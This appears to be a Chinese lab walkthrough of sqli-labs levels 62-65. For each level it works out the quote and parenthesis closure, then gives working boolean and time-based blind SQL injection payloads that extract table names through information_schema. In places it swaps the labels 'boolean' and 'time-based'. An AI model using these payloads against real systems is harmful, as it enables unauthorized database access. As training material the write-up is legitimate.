Less-62

Sqli-labs之Less:62-65

基于Bool_GET_单引号_小括号_字符型_盲注

Sqli-labs之Less:62-65

 先正常访问:

Sqli-labs之Less:62-65

看到这个页面,猜测源码与58关类似,那么首先判断注入类型:

?id=1'          ?id=1' -- #

?id=1"          ?id=1"-- #

?id=1')         ?id=1')-- #

经过测试发现:双引号正确回显,单引号和单引号加注释都没报错信息且没有正确的回显信息,单引号加小括号加注释可以正确回显信息,说明这一关是字符型单引号加小括号闭合的问题。

分析既然没有报错回显信息,说明报错注入无法利用,又因为 ?id=1') union select 1,2,3-- # 无法

有效的回显我们需要的信息,也就是说无法进行union联合注入,那么我们只能进行盲注了,盲注分为延时盲注和布尔盲注:(PS:对于盲注强烈建议使用脚本,人工太慢,这里没有好的脚本,就不展示出来了)

延时盲注:(具体参考Less-8,利用二分法进行布尔盲注)

?id=1') and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #

Sqli-labs之Less:62-65

如果不正确返回:

Sqli-labs之Less:62-65

顺便说一下,limit 0,1 可以不写,因为challenges数据库只有一个随机生成的数据表,而且table_schema='challenges' 也可以换成 table_schema=database() 具体使用哪个看具体情况,在不知道具体数据库的情况下且需要盲注的时候使用table_schema=database() 效果更佳。

 

布尔盲注:(具体步骤可参考Less-9)

?id=1') and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=101,1,sleep(5))-- #

Sqli-labs之Less:62-65

Sqli-labs之Less:62-65   Sqli-labs之Less:62-65

如果正确,页面正确回显,如果不正确则会延迟5秒回显。

Sqli-labs之Less:62-65

(顺便说一句,如果是实战,人工盲注的话,我们也要考虑网络的问题,网络不好的情况下本身也会有延时的。)

展示关键代码:

Sqli-labs之Less:62-65

                                                    Less-63

Sqli-labs之Less:62-65

基于Bool_GET_单引号_字符型_盲注

Sqli-labs之Less:62-65

这一关类似62关,只需把62关的 ') 改成 ' 即可

?id=1' and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #

Sqli-labs之Less:62-65

这里在说一点就是我们的challenges数据库的数据表是随机生成的,也就意味着数据表可以以数字开头,比如Sqli-labs之Less:62-65这时我们利用盲注时就要考虑整个ASCII码表,范围会很大,耗时会更长,在做这一关时就出现了上面截图中,数据表第一个为数字,一开始没想到,以至于我测试了好多语句,以至于我认为源码出错了,后来直接Sqli-labs之Less:62-65,观看好几个数据表名称,才发现错哪了,还是不够细心!!!希望能看到这里的同学,能够引以为戒 。

源码:

Sqli-labs之Less:62-65

                                                    Less-64

Sqli-labs之Less:62-65

基于Bool_GET_小括号_字符型_盲注

Sqli-labs之Less:62-65

这一关同理 ,与62相似,查看源码:

Sqli-labs之Less:62-65

测试数据库为:

Sqli-labs之Less:62-65

?id=1)) and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #

Sqli-labs之Less:62-65

 

                                                   Less-65

Sqli-labs之Less:62-65

基于Bool_GET_双引号_小括号_字符型_盲注

Sqli-labs之Less:62-65

类似62关,查看源码:

Sqli-labs之Less:62-65

双引号加小括号盲注:

本次测试数据库为:

Sqli-labs之Less:62-65

?id=1") and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #

Sqli-labs之Less:62-65

完。

 

相关文章: